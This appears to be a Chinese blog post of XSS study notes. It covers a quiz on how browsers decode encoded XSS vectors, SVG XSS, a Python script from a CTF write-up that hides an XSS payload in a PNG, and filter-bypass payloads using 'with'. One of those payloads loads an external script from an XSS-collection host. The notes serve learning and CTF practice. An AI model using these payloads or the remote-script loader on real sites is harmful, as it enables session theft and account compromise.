不一样的XSS之旅

前言

xss漏洞,笔者比较菜鸡,最近比赛看到有SVG-xss,跟png-xss,顺手学习一下。

理解xss之前先理解浏览器解析机制

来自:http://bobao.360.cn/learning/detail/292.html
来自:https://security.yirendai.com/news/share/26

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
Basics

1. <a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
URL encoded "javascript:alert(1)"

Answer: The javascript will NOT execute.


2. <a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61
%6c%65%72%74%28%32%29">
Character entity encoded "javascript" and URL encoded "alert(2)"

Answer: The javascript will execute.


3. <a href="javascript%3aalert(3)"></a>
URL encoded ":"

Answer: The javascript will NOT execute.


4. <div>&#60;img src=x onerror=alert(4)&#62;</div>
Character entity encoded < and >

Answer: The javascript will NOT execute.
不会进入标签开始状态

5. <textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
Character entity encoded < and >

Answer: The javascript will NOT execute AND the character entities will NOT
be decoded either

<textarea>是RCDATA元素,任何在CDATA元素中的内容将不会触发解析器创建开始标签。闭合CDATA元素的标志是“]]>”序列。因此如果用户想逃出CDATA元素,就要用未经任何编码的“]]>”序列,不然是不会逃出CDATA元素的。

6. <textarea><script>alert(6)</script></textarea>

Answer: The javascript will NOT execute.
同上

Advanced
7. <button onclick="confirm('7&#39;);">Button</button>
Character entity encoded '

Answer: The javascript will execute.


8. <button onclick="confirm('8\u0027);">Button</button>
Unicode escape sequence encoded '

Answer: The javascript will NOT execute.
这里被解码成文本单引号,没有闭合,字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符。这项内容清楚地写在ECMAScript中。因此,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量。

9. <script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
Character entity encoded alert(9);

Answer: The javascript will NOT execute.


10. <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode Escape sequence encoded alert

Answer: The javascript will execute.
标识符名称中,当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等

11. <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode Escape sequence encoded alert(11)

Answer: The javascript will NOT execute.
控制字符:当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。

总的来说,Unicode转义序列只有在标识符名称里不被当作字符串,也只有在标识符名称里的编码字符能够被正常的解析。

12. <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode Escape sequence encoded alert and 12

Answer: The javascript will NOT execute.


13. <script>alert('13\u0027)</script>
Unicode escape sequence encoded '

Answer: The javascript will NOT execute.
这里被解码成文本单引号,没有闭合,

14. <script>alert('14\u000a')</script>
Unicode escape sequence encoded line feed.

Answer: The javascript will execute.
问题14能够执行的原因是'\u000a'会被解释成换行符文本,这并不会导致真正的换行从而引发JavaScript语法错误。

Bonus
16. <a
href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

Answer: The javascript will execute.

window.name读cookie
怎样利用window.name拿到跨域数据

SVG xss

学习之前先阅读:
SVG XSS的一个黑魔法
深入理解浏览器解析机制和XSS向量编码
通过一道题了解缓存投毒和SVG XSS

1
<svg><script>alert&#40;1)</script>

image.png

PNG xss

需要当作html解析。
参考:https://blog.dragonsector.pl/2018/07/google-ctf-2018-quals-bbs.html?p=1

https://ctftime.org/writeup/10369

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from PIL import Image
from random import randint

def rand_bytes(n):
return ''.join(map(chr, [randint(0, 255) for _ in xrange(n)]))

chunks = [
'<img src="ds" onerror=alert(\'XSS\')>/*',
'*//*',
'*//*',
'*/)>;',
]

while True:
# Fill `arr` with payload chunks separated with random data.
arr = ''
for i in xrange(len(chunks)):
arr += chunks[i]
if i != len(chunks)-1:
arr += rand_bytes(16)
arr = map(ord, arr)

while len(arr) % 3 != 0:
arr.append(randint(0, 256))

# Create an image filled with random pixels.
xsize = 64
ysize = 64
im = Image.new("RGB", (xsize, ysize))
for ix in xrange(xsize):
for iy in xrange(ysize):
im.putpixel((ix, iy), (randint(0, 256), randint(0, 256), randint(0, 256)))

# Replace the first pixels of the image with `arr`.
for i in xrange(0, len(arr), 3):
im.putpixel((i/3, 0), tuple(arr[i:i+3]))
im.save("xsspayload_good.png")

# Stop if the image worked.
with open('xsspayload_good.png', 'rb') as f:
data = f.read()
if all([(chunk in data) for chunk in chunks]):
print 'Done!'
break

location对象

image.png

一些可能会用到的函数

1
2
3
4
5
6
slice()  //slice() 方法可从已有的字符串中返回选定的元素。
substr() 同上
unescape() //url解码,用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。
escape() url编码
with //with语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。
split(',') //切割

一些xss绕过

with

with语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。
如果.被拦截,我们可以尝试with。

1
<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。

1
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">
-------------本文结束感谢您的阅读-------------